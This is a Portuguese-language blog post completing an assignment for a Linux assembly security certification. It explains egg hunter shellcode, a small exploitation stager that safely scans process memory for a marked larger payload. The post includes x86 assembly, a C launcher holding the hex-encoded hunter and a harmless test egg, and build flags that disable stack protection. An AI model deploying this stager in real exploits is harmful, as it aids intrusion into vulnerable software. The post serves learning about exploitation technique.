Tradutor

quarta-feira, 27 de março de 2013

SLAE - 3rd Assignment - Caçando Ovos?

/*
   Este post é uma sequência. Para melhor entendimento, vejam:
*/

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-237

Códigos deste post:


Terceira Missão (Caça aos bits)

Olá! Continuemos com a terceira missão do SLAE.

Nesta empreitada, vamos caçar ovos... não, cooler, não vai ser um elefante engolido por uma jiboia, muito menos achocolatados. :D []'s

3rd assignment:
- estudar sobre shellcodes egg hunter
- criar uma demonstração funcional de um
- essa demonstração deve ser configurável para diferentes payloads

O resultado da pesquisa sobre egg hunting foi escasso. Encontrei apenas um shellcode do tipo para Linux. Fiz alguns testes mas logo vi que ele não era funcional, pois tentava ler toda a VAS do usuário (0x0 a 0xffffffff) resultando em SIGSEGV quando batia na porta de uma área protegida. A ideia principal que era percorrer a memória num looping eu já tinha abstraído, entretanto, como fazer isso de forma segura?

Perseverei no google e mudei a pesquisa de linux egg hunter para "windows" egg hunter. Bingo! Encontrei um paper fantástico escrito por skape em 2004, Safely Searching Process Virtual Address Space. Esse artigo, felizmente, além de abordar o windows, descreve duas formas no linux de se verificar se o usuário (aplicativo) tem permissões de leitura a dado offset. A primeira, a qual optei, é através da syscall access e a segunda é através da sigaction. Não sei por que tive que colocar "windows" na pesquisa; o que importa é que encontrei o que precisava.

Ok! Mas você não disse para que serve mesmo um egg hunter!

Perdão, vamos lá! Em alguns casos de exploração encontramos pequenas janelas de buffer disponíveis para injeção de código, nas quais um shellcode de tamanho maior seria inútil. Nessa mesma janela poderíamos injetar um Egg Hunter, obviamente menor que o shellcode principal, para vasculharmos a memória em busca do nosso shellcode (egg). Em suma, o Egg Hunter é um tipo de stager shellcode.

Mas como nosso shellcode principal (egg) estaria na memória?

Isso vai depender da aplicação explorada, das formas de entrada de dados etc. Como exemplos poderíamos ter um browser que carregaria o egg de um html, um mp3 player que carregaria o egg de um mp3 ou m3u, um programa genérico que leria todo o conteúdo de um arquivo de configuração com o egg implantado.

Compreendendo as explicações do skape a respeito do seu Egg Hunter (access), complementei-o com controle de lixo dos registers e limpando o DF (Direction Flag) para se garantir o incremento de EDI no uso da SCASD.

O resultado foi este.

; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/3rd.assignment/egg_hunter.asm
global _start
section .text
_start:
; setting the registers
cld ; clear the direction flag (DF) to use scasd correctly
xor ecx, ecx
mul ecx
alignpage:
; align page
or dx, 0xfff ; is the same as "add dx, 4095" (PAGE_SIZE)
alignbyte:
inc edx ; next memory offset
; Accessing the memory offset
; int access(const char *pathname, int mode);
; access(memoryaddress, 0)
push 33 ; __NR_access 33
pop eax
lea ebx, [edx + 4] ; alignment to validate the last four bytes of the signature
; ecx already contains 0 (F_OK)
int 0x80 ; kernel interruption
; verifies if memory is not readable (bad address = EFAULT = 0xf2 = -14)
; as the offset is not from a path name, access will never result 0, so we have to compare the error result with 0xf2
cmp al, 0xf2
; if is not, loop
jz alignpage
; compares the signature and increments 4 bytes in edi
mov eax, 0x50905090 ; byte reverse order
mov edi, edx
scasd
; if is not equal, loop
jnz alignbyte
; if is equal, compares the last signature 4 bytes and increments 4 bytes in edi again
scasd
; if is not equal, loop
jnz alignbyte
; if is equal, eat the egg
jmp edi
view raw egg_hunter.asm hosted with ❤ by GitHub

Fluxograma gerado no r2 (radare).


Para facilitar a exemplificação, o Egg já se encontra no próprio Egg Hunter Launcher.

// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/3rd.assignment/egg_hunter_shellcode.c
#include <stdio.h>
#include <string.h>
unsigned char egg[] = \
// Write "Egg Mark" and exit
"\x90\x50\x90\x50" // <- First Four Bytes of Signature
"\x90\x50\x90\x50" // <- Same first bytes are mandatory (Repeat them)
"\x31\xdb"
"\xf7\xe3\xb0\x04\x6a\x0a\x68\x4d\x61\x72"
"\x6b\x68\x45\x67\x67\x20\xb3\x01\x89\xe1"
"\xb2\x09\xcd\x80\xb0\x01\xcd\x80";
unsigned char egghunter[] = \
// Search for the Egg Signature (0x50905090 x 2) - the Egg's 8 first instructions (nop, push eax, nop, push eax...)
"\xfc\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f"
"\x42\x6a\x21\x58\x8d\x5a\x04\xcd\x80\x3c"
"\xf2\x74\xee\xb8"
"\x90\x50\x90\x50" // <- Signature
"\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";
main ()
{
// When contains null bytes, printf will show a wrong shellcode length.
printf("Shellcode Length: %d\n", strlen(egghunter));
// Pollutes all registers ensuring that the shellcode runs in any circumstance.
__asm__ ("movl $0xffffffff, %eax\n\t"
"movl %eax, %ebx\n\t"
"movl %eax, %ecx\n\t"
"movl %eax, %edx\n\t"
"movl %eax, %esi\n\t"
"movl %eax, %edi\n\t"
"movl %eax, %ebp\n\t"
// Setting the egg hunter signature to search (byte reverse order)
"movl $0x50905090, (egghunter+24)\n\t"
// Calling the shellcode
"call egghunter");
}

A configuração da assinatura do Egg é feita mudando-se os seus oito primeiros bytes; já no Egg Hunter, do 25° ao 28° byte. Optei por usar opcodes que não interferem no fluxo (nops, pushs), mesmo eles sendo ignorados no último JMP.

É importante ressaltar que os quatro últimos bytes, no caso do Egg, são uma mera repetição dos quatro primeiros; tal medida visa a fortificar a identificação evitando-se falso-positivos e faz parte do algoritmo de identificação do Egg Hunter, assim, se desejarem modificar os quatro primeiros bytes, repliquem a mesma mudança nos últimos.


Testando

# gcc -m32 -fno-stack-protector -z execstack egg_hunter_shellcode.c -o egg_hunter_shellcode
# ./egg_hunter_shellcode
Egg Mark



Missão Cumprida

Bom pessoal, é isso. Boa caça aos ovos!


Mais Informações

Nenhum comentário:

Postar um comentário

Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Brazil License.